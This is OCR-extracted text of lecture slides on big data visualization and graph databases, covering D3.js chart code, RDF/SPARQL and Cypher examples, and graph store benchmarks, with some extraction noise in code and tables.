<!DOCTYPE html>
<style>
.chart rect {
fill: steelblue;
}
.chart text {
fill: white;
font: 10px sans-serif;
text-anchor: end;
}
</style>
<svg class="chart" width="420" height="120">
<g transform="translate(0,0)">
<rect width="40" height="19"></rect>
<text x="37" y="9.5" dy=".35em">4</text>
</g>
<g transform="translate(0,20)">
<rect width="80" height="19"></rect>
<text x="77" y="9.5" dy=".35em">8</text>
</g>
<g transform="translate(0,40)">
<rect width="150" height="19"></rect>
<text x="147" y="9.5" dy=".35em">15</text>
</g>
<g transform="translate(0,60)">
<rect width="160" height="19"></rect>
<text x="157" y="9.5" dy=".35em">16</text>
</g>
<g transform="translate(0,80)">
<rect width="230" height="19"></rect>
<text x="227" y="9.5" dy=".35em">23</text>
</g>
<g transform="translate(0,100)">
<rect width="420" height="19"></rect>
<text x="417" y="9.5" dy=".35em">42</text>
</g>
</svg>
Full code to do it manually
44
D3 Bar Chart Tutorial
Full code to do it automatically
```html
<!DOCTYPE html>
<meta charset="utf-8">
<style>
.chart rect {
fill: steelblue;
}
.chart text {
fill: white;
font: 10px sans-serif;
text-anchor: end;
}
</style>
<svg class="chart"></svg>
<script src="//d3js.org/d3.v3.min.js" charset="utf-8"></script>
```
D3 Bar Chart Tutorial
<script>
var data = [4, 8, 15, 16, 23, 42];
var width = 420,
barHeight = 20;
var x = d3.scale.linear()
.domain([0, d3.max(data)])
.range([0, width]);
var chart = d3.select(".chart")
.attr("width", width)
.attr("height", barHeight * data.length);
var bar = chart.selectAll("g")
.data(data)
.enter().append("g")
.attr("transform", function(d, i) { return "translate(0," + i * barHeight + ")"; });
bar.append("rect")
.attr("width", x)
.attr("height", barHeight - 1);
bar.append("text")
.attr("x", function(d) { return x(d) - 3; })
.attr("y", barHeight / 2)
.attr("dy", ".35em")
.text(function(d) { return d; });
</script>
Full code to do it automatically
D3 Bar Chart Tutorial
Load data
```javascript
// 1. Code here runs first, before the download starts.
d3.tsv("data.tsv", function(error, data) {
// 3. Code here runs last, after the download finishes.
});
// 2. Code here runs second, while the file is downloading.
name value
Locke 4
Reyes 8
Ford 15
Jarrah 16
Shephard 23
Kwon 42
```
The equivalent of Javascript code:
```javascript
var data = [
{name: "Locke", value: 4},
{name: "Reyes", value: 8},
{name: "Ford", value: 15},
{name: "Jarrah", value: 16},
{name: "Shephard", value: 23},
{name: "Kwon", value: 42}
];
```
<!DOCTYPE html>
<meta charset="utf-8">
<style>
.chart rect {
fill: steelblue;
}
.chart text {
fill: white;
font: 10px sans-serif;
text-anchor: end;
}
</style>
<svg class="chart"></svg>
<script src="//d3js.org/d3.v3.min.js" charset="utf-8"></script>
```javascript
<script>
var width = 420,
barHeight = 20;
var x = d3.scale.linear()
.range([0, width]);
var chart = d3.select(".chart")
.attr("width", width);
d3.tsv("data.tsv", type, function(error, data) {
x.domain([0, d3.max(data, function(d) { return d.value; })]);
chart.attr("height", barHeight * data.length);
var bar = chart.selectAll("g")
.data(data)
.enter().append("g")
.attr("transform", function(d, i) { return "translate(0," + i * barHeight + ");");
bar.append("rect")
.attr("width", function(d) { return x(d.value); })
.attr("height", barHeight - 1);
bar.append("text")
.attr("x", function(d) { return x(d.value) - 3; })
.attr("y", barHeight / 2)
.attr("dy", ".35em")
.text(function(d) { return d.value; });
function type(d) {
d.value = +d.value; // coerce to number
return d;
}
</script>
```
D3 Example Circles
https://bost.ocks.org/mike/circles/
```html
<svg width="720" height="120">
<circle cx="40" cy="60" r="10"></circle>
<circle cx="80" cy="60" r="10"></circle>
<circle cx="120" cy="60" r="10"></circle>
</svg>
```
```javascript
var circle = d3.selectAll("circle");
circle.style("fill", "steelblue");
circle.attr("r", 30);
```
D3 Example Circles
https://bost.ocks.org/mike/circles/
```html
<svg width="720" height="120">
<circle cx="40" cy="60" r="10"></circle>
<circle cx="80" cy="60" r="10"></circle>
<circle cx="120" cy="60" r="10"></circle>
</svg>
```
```javascript
var circle = d3.selectAll("circle");
circle.style("fill", "steelblue");
circle.attr("r", 30);
circle.attr("cx", function() { return Math.random() * 720; });
```
D3 Gallery
Box Plots
Bubble Chart
Bullet Charts
Calendar View
Non-contiguous Cartogram
Chord Diagram
Dendrogram
Force-Directed Graph
Circle Packing
Population Pyramid
Stacked Bars
Streamgraph
<table>
<thead>
<tr>
<th>Sunburst</th>
<th>Node-Link Tree</th>
<th>Treemap</th>
<th>Voronoi Diagram</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image1" alt="Sunburst" /></td>
<td><img src="image2" alt="Node-Link Tree" /></td>
<td><img src="image3" alt="Treemap" /></td>
<td><img src="image4" alt="Voronoi Diagram" /></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Hierarchical Edge Bundling</th>
<th>Voronoi Diagram</th>
<th>Symbol Map</th>
<th>Parallel Coordinates</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image5" alt="Hierarchical Edge Bundling" /></td>
<td><img src="image6" alt="Voronoi Diagram" /></td>
<td><img src="image7" alt="Symbol Map" /></td>
<td><img src="image8" alt="Parallel Coordinates" /></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Scatterplot Matrix</th>
<th>Zoomable Pack Layout</th>
<th>Hierarchical Bars</th>
<th>Epicyclical Gears</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image9" alt="Scatterplot Matrix" /></td>
<td><img src="image10" alt="Zoomable Pack Layout" /></td>
<td><img src="image11" alt="Hierarchical Bars" /></td>
<td><img src="image12" alt="Epicyclical Gears" /></td>
</tr>
<tr>
<td>Collision Detection</td>
<td>Collapsible Force Layout</td>
<td>Force-Directed States</td>
<td>Azimuthal Projections</td>
</tr>
<tr>
<td>--------------------</td>
<td>--------------------------</td>
<td>-----------------------</td>
<td>-----------------------</td>
</tr>
<tr>
<td><img src="image1" alt="Collision Detection" /></td>
<td><img src="image2" alt="Collapsible Force Layout" /></td>
<td><img src="image3" alt="Force-Directed States" /></td>
<td><img src="image4" alt="Azimuthal Projections" /></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Choropleth</th>
<th>Collapsible Tree Layout</th>
<th>Zoomable Treemap</th>
<th>Zoomable Partition Layout</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image5" alt="Choropleth" /></td>
<td><img src="image6" alt="Collapsible Tree Layout" /></td>
<td><img src="image7" alt="Zoomable Treemap" /></td>
<td><img src="image8" alt="Zoomable Partition Layout" /></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Zoomable Area Chart</th>
<th>Drag and Drop Collapsible Tree Layout</th>
<th>Radial Cluster Layout</th>
<th>Sankey Diagram</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image9" alt="Zoomable Area Chart" /></td>
<td><img src="image10" alt="Drag and Drop Collapsible Tree Layout" /></td>
<td><img src="image11" alt="Radial Cluster Layout" /></td>
<td><img src="image12" alt="Sankey Diagram" /></td>
</tr>
</tbody>
</table>
D3 Gallery
<table>
<thead>
<tr>
<th>Fisheye Distortion</th>
<th>Hive Plot</th>
<th>Co-occurrence Matrix</th>
<th>Motion Chart</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Fisheye Distortion" /></td>
<td><img src="image" alt="Hive Plot" /></td>
<td><img src="image" alt="Co-occurrence Matrix" /></td>
<td><img src="image" alt="Motion Chart" /></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Chord Diagram</th>
<th>Animated Béziers</th>
<th>Zoomable Sunburst</th>
<th>Collatz Graph</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Chord Diagram" /></td>
<td><img src="image" alt="Animated Béziers" /></td>
<td><img src="image" alt="Zoomable Sunburst" /></td>
<td><img src="image" alt="Collatz Graph" /></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Parallel Sets</th>
<th>Word Cloud</th>
<th>Obama's Budget Proposal</th>
<th>Facebook IPO</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Parallel Sets" /></td>
<td><img src="image" alt="Word Cloud" /></td>
<td><img src="image" alt="Obama's Budget Proposal" /></td>
<td><img src="image" alt="Facebook IPO" /></td>
</tr>
</tbody>
</table>
Graphe Database — RDF and SPARQL
Network / Graph is the way we remember, we associate, and we understand.
Example: Graph Technology for Financial Service Sectors
- Graph Database is much more efficient than traditional relational database
- How does FINRA analyze ~50B events per day TODAY? - Build a graph of market order events from multiple sources [ref]
- How did journalists uncover the Swiss Leak scandal in 2014 and also Panama Papers in 2016? -- Using graph database to uncover information thousands of accounts in more than 20 countries with links through millions of files [ref]
WHAT DO RDF AND SPARQL BRING TO BIG DATA PROJECTS?
Bob DuCharme
TopQuadrant, Charlottesville, Virginia
Resource Description Format (RDF)
- A W3C standard since 1999
- Triples
- Example: A company has nine of part p1234 in stock, then a simplified triple representing this might be \{p1234 inStock 9\}.
- Instance Identifier, Property Name, Property Value.
- In a proper RDF version of this triple, the representation will be more formal. They require uniform resource identifiers (URIs).
@prefix fbd: <http://foobarco.net/data/>.
@prefix fbv: <http://foobarco.net/vocab/>.
fbd:p1234 fbv:inStock "9".
fbd:p1234 fbv:supplier "Joe’s Part Company".
An example complete description
@prefix fbd: <http://foobarco.net/data/>.
@prefix fbv: <http://foobarco.net/vocab/>.
fbd:p1234 fbv:inStock "9".
fbd:p1234 fbv:name "Blue reverse flange".
fbd:p1234 fbv:supplier fbd:s9483.
fbd:s9483 fbv:name "Joe's Part Company".
fbd:s9483 fbv:HomePage "http://www.joespartco.com".
fbd:s9483 fbv:contactName "Gina Smith".
fbd:s9483 fbv:contactEmail "gina.smith@joespartco.com".
Advantages of RDF
- Virtually any RDF software can parse the lines shown above as self-contained, working data file.
- You can declare properties if you want.
- The RDF Schema standard lets you declare classes and relationships between properties and classes.
- The flexibility that the lack of dependence on schemas is the first key to RDF's value.
- Split trips into several lines that won't affect their collective meaning, which makes sharding of data collections easy.
- Multiple datasets can be combined into a usable whole with simple concatenation.
- For the inventory dataset's property name URIs, sharing of vocabulary makes easy to aggregate.
The following SPARQL query asks for all property names and values associated with the fbd:s9483 resource:
```
PREFIX fbd:<http://foobarco.net/data/>
SELECT ?property ?value
WHERE {fbd:s9483 ?property ?value.}
```
The heart of any SPARQL query is the WHERE clause, which specifies the triples to pull out of the dataset. Various options for the rest of the query tell the SPARQL processor what to do with those triples, such as sorting, creating, or deleting triples. The above query’s WHERE clause has a single triple pattern, which resembles a triple but may have variables substituted for any or all of the triple’s three parts. The triple pattern above says that we’re interested in triples that have fbd:s9483 as the subject and—because variables function as wildcards—anything at all in the triple’s second and third parts.
The SPAQRL Query Result from the previous example
<table>
<thead>
<tr>
<th>property</th>
<th>value</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://foobarco.net/vocab/contactEmail">http://foobarco.net/vocab/contactEmail</a></td>
<td>"<a href="mailto:gina.smith@joespartco.com">gina.smith@joespartco.com</a>"</td>
</tr>
<tr>
<td><a href="http://foobarco.net/vocab/contactName">http://foobarco.net/vocab/contactName</a></td>
<td>"Gina Smith"</td>
</tr>
<tr>
<td><a href="http://foobarco.net/vocab/name">http://foobarco.net/vocab/name</a></td>
<td>"Joe’s Part Company"</td>
</tr>
</tbody>
</table>
Another SPARQL Example
What is this query for?
```
PREFIX fbd:<http://foobarco.net/data/>
PREFIX fbv:<http://foobarco.net/vocab/>
SELECT ?flangeContactEmail
WHERE
{
?part fbv:name "Blue reverse flange".
?supplier fbv:contactEmail ?flangeContactEmail.
}
```
Data
```
@prefix fbd:<http://foobarco.net/data/>.
@prefix fbv:<http://foobarco.net/vocab/>.
fbd:p1234 fbv:inStock "9".
fbd:p1234 fbv:name "Blue reverse flange".
fbd:p1234 fbv:supplier fbd:s9483.
fbd:s9483 fbv:name "Joe’s Part Company".
fbd:s9483 fbv:homepage "http://www.joespartco.com".
fbd:s9483 fbv:contactName "Gina Smith".
fbd:s9483 fbv:contactEmail "gina.smith@joespartco.com".
```
Open Source Software – Apache Jena
A free and open source Java framework for building Semantic Web and Linked Data applications.
Get started now! Download
RDF
RDF API
Interact with the core API to create and read Resource Description Framework (RDF) graphs. Sanitise your triples using popular formats such as RDF/XML or Turtle.
ARQ (SPARQL)
Query your RDF data using ARQ, a SPARQL 1.1 compliant engine. ARQ supports remote federated
Triple store
TDB
Persist your data using TDB, a native high performance triple store. TDB supports the full range of Jena APIs.
Fuseki
Expose your triples as a SPARQL end-point accessible over HTTP. Fuseki provides REST-style interaction with your RDF data.
OWL
Ontology API
Work with models, RDFS and the Web Ontology Language (OWL) to add extra semantics to your RDF data.
Inference API
Reason over your data to expand and check the content of your triple store. Configure your own inference rules or
Graph Database — Property Graphs
Reference
Graph Databases
Ian Robinson, Jim Webber & Emil Eifrem
A usual example
![Diagram of a relational database with tables for User, Order, LineItem, and Product]
Figure 2-1. Semantic relationships are hidden in a relational database
Query Example – I
Figure 2-2. Modeling friends and friends-of-friends in a relational database
Asking “who are Bob’s friends?” is easy, as shown in Example 2-1.
Example 2-1. Bob’s friends
```sql
SELECT p1.Person
FROM Person p1 JOIN PersonFriend
ON PersonFriend.FriendID = p1.ID
JOIN Person p2
ON PersonFriend.PersonID = p2.ID
WHERE p2.Person = 'Bob'
```
Example 2-2. Who is friends with Bob?
```
SELECT p1.Person
FROM Person p1 JOIN PersonFriend
ON PersonFriend.PersonID = p1.ID
JOIN Person p2
ON PersonFriend.FriendID = p2.ID
WHERE p2.Person = 'Bob'
```
Example 2-3. Alice’s friends-of-friends
```
SELECT p1.Person AS PERSON, p2.Person AS FRIEND_OF_FRIEND
FROM PersonFriend pf1 JOIN Person p1
ON pf1.PersonID = p1.ID
JOIN PersonFriend pf2
ON pf2.PersonID = pf1.FriendID
JOIN Person p2
ON pf2.FriendID = p2.ID
WHERE p1.Person = 'Alice' AND pf2.FriendID <> p1.ID
```
Figure 2-5. Easily modeling friends, colleagues, workers, and (unrequited) lovers in a graph.
Execution Time in the example of finding extended friends (by Neo4j)
Partner and Vukotic’s experiment seeks to find friends-of-friends in a social network, to a maximum depth of five. Given any two persons chosen at random, is there a path that connects them that is at most five relationships long? For a social network containing 1,000,000 people, each with approximately 50 friends, the results strongly suggest that graph databases are the best choice for connected data, as we see in Table 2-1.
Table 2-1. Finding extended friends in a relational database versus efficient finding in Neo4j
<table>
<thead>
<tr>
<th>Depth</th>
<th>RDBMS execution time (s)</th>
<th>Neo4j execution time (s)</th>
<th>Records returned</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>0.016</td>
<td>0.01</td>
<td>~2500</td>
</tr>
<tr>
<td>3</td>
<td>30.267</td>
<td>0.168</td>
<td>~110,000</td>
</tr>
<tr>
<td>4</td>
<td>1543.505</td>
<td>1.359</td>
<td>~600,000</td>
</tr>
<tr>
<td>5</td>
<td>Unfinished</td>
<td>2.132</td>
<td>~800,000</td>
</tr>
</tbody>
</table>
Modeling Order History as a Graph
Figure 2-6. Modeling a user’s order history in a graph
A query language on Property Graph – Cypher
Figure 3-1. A simple graph pattern, expressed using a diagram
This pattern describes three mutual friends. Here’s the equivalent ASCII art representation in Cypher:
(a)-[:KNOWS]->(b)-[:KNOWS]->(c), (a)-[:KNOWS]->(c)
Like most query languages, Cypher is composed of clauses. The simplest queries consist of a START clause followed by a MATCH and a RETURN clause (we’ll describe the other clauses you can use in a Cypher query later in this chapter). Here’s an example of a Cypher query that uses these three clauses to find the mutual friends of user named Michael:
```
START a=node:user(name='Michael')
MATCH (a)-[:KNOWS]->(b)-[:KNOWS]->(c), (a)-[:KNOWS]->(c)
RETURN b, c
```
WHERE
Provides criteria for filtering pattern matching results.
CREATE and CREATE UNIQUE
Create nodes and relationships.
DELETE
Removes nodes, relationships, and properties.
SET
Sets property values.
FOREACH
Performs an updating action for each element in a list.
UNION
Merges results from two or more queries (introduced in Neo4j 2.0).
WITH
Chains subsequent query parts and forward results from one to the next. Similar to piping commands in Unix.
Figure 3-6. Three domains in one graph
Creating the Shakespeare Graph
CREATE (shakespeare { firstname: 'William', lastname: 'Shakespeare' }),
(juliusCaesar { title: 'Julius Caesar' }),
(shakespeare):[:WROTE_PLAY { year: 1599 }]->(juliusCaesar),
(theTempest { title: 'The Tempest' }),
(shakespeare):[:WROTE_PLAY { year: 1610 }]->(theTempest),
(rsc { name: 'RSC' }),
(production1 { name: 'Julius Caesar' }),
(rsc):[:PRODUCED]->(production1),
(production1):[:PRODUCTION_OF]->(juliusCaesar),
(performance1 { date: 20120729 } ),
(performance1):[:PERFORMANCE_OF]->(production1),
(production2 { name: 'The Tempest' }),
(rsc):[:PRODUCED]->(production2),
(production2):[:PRODUCTION_OF]->(theTempest),
(performance2 { date: 20061121 } ),
(performance2):[:PERFORMANCE_OF]->(production2),
(performance3 { date: 20120730 } ),
(performance3):[:PERFORMANCE_OF]->(production1),
(billy { name: 'Billy' }),
(review { rating: 5, review: 'This was awesome! ' }),
(billy):[:WROTE_REVIEW]->(review),
(review):[:RATED]->(performance1),
(theatreRoyal { name: 'Theatre Royal' }),
(performance1):[:VENUE]->(theatreRoyal),
(performance2):[:VENUE]->(theatreRoyal),
(performance3):[:VENUE]->(theatreRoyal),
(greyStreet { name: 'Grey Street' }),
(theatreRoyal):[:STREET]->(greyStreet),
(newcastle { name: 'Newcastle' }),
(greyStreet):[:CITY]->(newcastle),
(tyneAndWear { name: 'Tyne and Wear' }),
(newcastle):[:COUNTY]->(tyneAndWear),
(england { name: 'England' }),
(tyneAndWear):[:COUNTRY]->(england),
(stratford { name: 'Stratford upon Avon' }),
(stratford):[:COUNTRY]->(england),
(rsc):[:BASED_IN]->(stratford),
(shakespeare):[:BORN_IN]->(stratford)
Query on the Shakespeare Graph
```
START theater=node:venue(name='Theatre Royal'),
newcastle=node:city(name='Newcastle'),
bard=node:author(lastname='Shakespeare')
MATCH (newcastle)<-[:STREET|CITY*1..2]-(theater)
<-[:VENUE]-(play)-[:PERFORMANCE_OF]->(w:WROTE_PLAY)-(bard)
WHERE w.year > 1608
RETURN DISTINCT play.title AS play
```
Adding this WHERE clause means that for each successful match, the Cypher execution engine checks that the WROTE_PLAY relationship between the Shakespeare node and the matched play has a year property with a value greater than 1608. Matches with a WROTE_PLAY relationship whose year value is greater than 1608 will pass the test; these plays will then be included in the results. Matches that fail the test will not be included in the results. By adding this clause, we ensure that only plays from Shakespeare’s late period are returned:
```
+------------+
| play |
+------------+
| "The Tempest" |
+------------+
1 row
```
Another Query on the Shakespeare Graph
```
START theater=node:venue(name='Theatre Royal'),
newcastle=node:city(name='Newcastle'),
bard=node:author(lastname='Shakespeare')
MATCH (newcastle)<-[[:STREET|CITY*1..2]]-(theater)
<-[:VENUE]-(play)<-[[:PERFORMANCE_OF]]->(p)<-[[:PRODUCTION_OF]]->(bard)
RETURN play.title AS play, count(p) AS performance_count
ORDER BY performance_count DESC
```
The RETURN clause here counts the number of PERFORMANCE_OF relationships using the identifier p (which is bound to the PERFORMANCE_OF relationships in the MATCH clause) and aliases the result as performance_count. It then orders the results based on performance_count, with the most frequently performed play listed first:
```
+-------------------------+-------------------------+
| play | performance_count |
+-------------------------+-------------------------+
| "Julius Caesar" | 2 |
| "The Tempest" | 1 |
+-------------------------+-------------------------+
2 rows
```
Figure 4-1. Data model for the book reviews user story
Because this data model directly encodes the question presented by the user story, it lends itself to being queried in a way that similarly reflects the structure of the question we want to ask of the data:
```{mermaid}
START reader=node:users(name={readerName})
MATCH reader-[:LIKES]->book<-[:LIKES]-other_readers-[:LIKES]->books
RETURN books.title
```
Chaining on the Query
```
START bard=node:author(lastname='Shakespeare')
MATCH (bard)-[w:WROTE_PLAY]->(play)
WITH play
ORDER BY w.year DESC
RETURN collect(play.title) AS plays
```
Executing this query against our sample graph produces the following result:
```
+---------------------------------+
| plays |
+---------------------------------+
| ["The Tempest","Julius Caesar"] |
+---------------------------------+
1 row
```
Example – Email Interaction Graph
```
START bob=node:user(username='Bob')
MATCH (bob)-[:SENT]->(email)-[:CC]->(alias),
(alias)-[:ALIAS_OF]->(bob)
RETURN email
```
What's this query for?
Figure 3-10. A graph of email interactions
How to make graph database fast?
Figure 6-1. Nonnative graph processing engines use indexing to traverse between nodes
Use Relationships, not indexes, for fast traversal
Figure 6-4. Neo4j node and relationship store file record structure
An experiment
Dataset: 12.2 million edges, 2.2 million vertices
Goal: Find paths in a property graph. One of the vertex property is call TYPE. In this scenario, the user provides either a particular vertex, or a set of particular vertices of the same TYPE (say, "DRUG"). In addition, the user also provides another TYPE (say, "TARGET"). Then, we need find all the paths from the starting vertex to a vertex of TYPE “TARGET”. Therefore, we need to 1) find the paths using graph traversal; 2) keep trace of the paths, so that we can list them after the traversal. Even for the shortest paths, it can be multiple between two nodes, such as: drug->assay->target , drug->MOA->target
<table>
<thead>
<tr>
<th>Dataset: 12.2 million edges, 2.2 million vertices</th>
<th>Avg time (100 tests)</th>
</tr>
</thead>
<tbody>
<tr>
<td>First test (cold-start)</td>
<td>Requested depth 5 traversal</td>
</tr>
<tr>
<td>NativeStore C++</td>
<td>39 sec</td>
</tr>
<tr>
<td>NativeStore JNI</td>
<td>57 sec</td>
</tr>
<tr>
<td>Neo4j (Blueprints 2.4)</td>
<td>105 sec</td>
</tr>
<tr>
<td>Titan (Berkeley DB)</td>
<td>3861 sec</td>
</tr>
<tr>
<td>Titan (HBase)</td>
<td>3046 sec</td>
</tr>
</tbody>
</table>
First full test - full depth 23. All data pulled from disk. Nothing initially cached.
Modes - All tests in default modes of each graph implementation. Titan can only be run in transactional mode. Other implementations do not default to transactional mode.
Native Store Overview
- **Native store represents graphs in-memory and on-disk**
- Organizing graph data for representing a graph that stores both graph structure and vertex properties and edge properties
- Caching graph data in memory in either batch-mode or on-demand from the on-disk streaming graph data
- Accepting graph updates and modifying graph structure and/or property data accordingly and incorporating time stamps
- Add edge, remove vertex, update property, etc.
- Persisting graph updates along with the time stamps from in-memory graph to on-disk graph
- Performing graph queries by loading graph structure and/or property data
- Find neighbors of a vertex, retrieve property of an edge, traverse a graph, etc.

On-Disk Graph Organization
Native store organizes graph data for representing a graph with both structure and the vertex properties and edge properties using multiple files in Linux file system
- Creating a list called ID → Offset where each element translates a vertex (edge) ID into two offsets, pointing to the earliest and latest data of the vertex/edge, respectively
- Creating a list called Time stamp → Offset where each element has a time stamp, an offset to the previous time stamp of the vertex/edge, and a set of indices to the adjacent edge list and properties
- Create a list of chained block list to store adjacent list and properties
Impact from Storage Hardware
- Convert csv file (adams.csv 20G) to datastore
- Similar performance: 7432 sec versus 7806 sec
- CPU intensive
- Average CPU util.: 97.4 versus 97.2
- I/O pattern
- Maximum read rate: 5.0 vs. 5.3
- Maximum write rate: 97.7 vs. 85.3
### Ratio
<table>
<thead>
<tr>
<th>HDD/SDD</th>
<th>TYPE1</th>
<th>TYPE2</th>
<th>TYPE3</th>
<th>TYPE4</th>
</tr>
</thead>
<tbody>
<tr>
<td>13.79</td>
<td>6.36</td>
<td>19.93</td>
<td>2.44</td>
<td></td>
</tr>
</tbody>
</table>
SSD offers consistently higher performance for both read and write
Queries
- Type 1: find the most recent URL and PCID of a user
- Type 2: find all the URLs and PCIDs
- Type 3: find all the most recent properties
- Type 4: find all the historic properties
Impact from Storage Hardware — 2
- Dataset: Knowledge Repository
- 138614 Nodes, 1617898 Edges
- OS buffer is flushed before test
- Processing 320 queries in parallel
- In memory graph cache size: 4GB (default value)
**SSD**
![SSD Chart]
**HDD**
![HDD Chart]
|
{"Source-Url": "https://www.ee.columbia.edu/~cylin/course/bigdata/EECS6893-BigDataAnalytics-Lecture8.pdf", "len_cl100k_base": 12033, "olmocr-version": "0.1.53", "pdf-total-pages": 93, "total-fallback-pages": 0, "total-input-tokens": 116772, "total-output-tokens": 16174, "length": "2e13", "weborganizer": {"__label__adult": 0.000522613525390625, "__label__art_design": 0.002925872802734375, "__label__crime_law": 0.0008206367492675781, "__label__education_jobs": 0.027313232421875, "__label__entertainment": 0.0006098747253417969, "__label__fashion_beauty": 0.00036406517028808594, "__label__finance_business": 0.0022983551025390625, "__label__food_dining": 0.0005230903625488281, "__label__games": 0.0012979507446289062, "__label__hardware": 0.002048492431640625, "__label__health": 0.0006709098815917969, "__label__history": 0.001041412353515625, "__label__home_hobbies": 0.0003120899200439453, "__label__industrial": 0.0009517669677734376, "__label__literature": 0.0011138916015625, "__label__politics": 0.0005536079406738281, "__label__religion": 0.0007166862487792969, "__label__science_tech": 0.2264404296875, "__label__social_life": 0.0005340576171875, "__label__software": 0.0850830078125, "__label__software_dev": 0.642578125, "__label__sports_fitness": 0.00037169456481933594, "__label__transportation": 0.0005826950073242188, "__label__travel": 0.00035572052001953125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 40258, 0.04249]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 40258, 0.43812]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 40258, 0.55344]], "google_gemma-3-12b-it_contains_pii": [[0, 190, false], [190, 970, null], [970, 1076, null], [1076, 1239, null], [1239, 1292, null], [1292, 1378, null], [1378, 1569, null], [1569, 1637, null], [1637, 1857, null], [1857, 2324, null], [2324, 2747, null], [2747, 3284, null], [3284, 3582, null], [3582, 4526, null], [4526, 4935, null], [4935, 5247, null], [5247, 5477, null], [5477, 5822, null], [5822, 6256, null], [6256, 6543, null], [6543, 6782, null], [6782, 7131, null], [7131, 7368, null], [7368, 7943, null], [7943, 8674, null], [8674, 9230, null], [9230, 9230, null], [9230, 9289, null], [9289, 9334, null], [9334, 9362, null], [9362, 9973, null], [9973, 10404, null], [10404, 10739, null], [10739, 11327, null], [11327, 11930, null], [11930, 12175, null], [12175, 12580, null], [12580, 12938, null], [12938, 13285, null], [13285, 13769, null], [13769, 14278, null], [14278, 14516, null], [14516, 14629, null], [14629, 15665, null], [15665, 15991, null], [15991, 16729, null], [16729, 17352, null], [17352, 17627, null], [17627, 18519, null], [18519, 18869, null], [18869, 19283, null], [19283, 19487, null], [19487, 20309, null], [20309, 21317, null], [21317, 22103, null], [22103, 22103, null], [22103, 22136, null], [22136, 22209, null], [22209, 22695, null], [22695, 22868, null], [22868, 23413, null], [23413, 23823, null], [23823, 24488, null], [24488, 25320, null], [25320, 25694, null], [25694, 26375, null], [26375, 27324, null], [27324, 27357, null], [27357, 27424, null], [27424, 27600, null], [27600, 27966, null], [27966, 28501, null], [28501, 28595, null], [28595, 29691, null], [29691, 29781, null], [29781, 30044, null], [30044, 30505, null], [30505, 30975, null], [30975, 31014, null], [31014, 32599, null], [32599, 33574, null], [33574, 34665, null], [34665, 35113, null], [35113, 35566, null], [35566, 35802, null], [35802, 35922, null], [35922, 35973, null], [35973, 36041, null], [36041, 37862, null], [37862, 38660, null], [38660, 39311, null], [39311, 39987, null], [39987, 40258, null]], "google_gemma-3-12b-it_is_public_document": [[0, 190, true], [190, 970, null], [970, 1076, null], [1076, 1239, null], [1239, 1292, null], [1292, 1378, null], [1378, 1569, null], [1569, 1637, null], [1637, 1857, null], [1857, 2324, null], [2324, 2747, null], [2747, 3284, null], [3284, 3582, null], [3582, 4526, null], [4526, 4935, null], [4935, 5247, null], [5247, 5477, null], [5477, 5822, null], [5822, 6256, null], [6256, 6543, null], [6543, 6782, null], [6782, 7131, null], [7131, 7368, null], [7368, 7943, null], [7943, 8674, null], [8674, 9230, null], [9230, 9230, null], [9230, 9289, null], [9289, 9334, null], [9334, 9362, null], [9362, 9973, null], [9973, 10404, null], [10404, 10739, null], [10739, 11327, null], [11327, 11930, null], [11930, 12175, null], [12175, 12580, null], [12580, 12938, null], [12938, 13285, null], [13285, 13769, null], [13769, 14278, null], [14278, 14516, null], [14516, 14629, null], [14629, 15665, null], [15665, 15991, null], [15991, 16729, null], [16729, 17352, null], [17352, 17627, null], [17627, 18519, null], [18519, 18869, null], [18869, 19283, null], [19283, 19487, null], [19487, 20309, null], [20309, 21317, null], [21317, 22103, null], [22103, 22103, null], [22103, 22136, null], [22136, 22209, null], [22209, 22695, null], [22695, 22868, null], [22868, 23413, null], [23413, 23823, null], [23823, 24488, null], [24488, 25320, null], [25320, 25694, null], [25694, 26375, null], [26375, 27324, null], [27324, 27357, null], [27357, 27424, null], [27424, 27600, null], [27600, 27966, null], [27966, 28501, null], [28501, 28595, null], [28595, 29691, null], [29691, 29781, null], [29781, 30044, null], [30044, 30505, null], [30505, 30975, null], [30975, 31014, null], [31014, 32599, null], [32599, 33574, null], [33574, 34665, null], [34665, 35113, null], [35113, 35566, null], [35566, 35802, null], [35802, 35922, null], [35922, 35973, null], [35973, 36041, null], [36041, 37862, null], [37862, 38660, null], [38660, 39311, null], [39311, 39987, null], [39987, 40258, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, true], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 40258, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 40258, null]], "pdf_page_numbers": [[0, 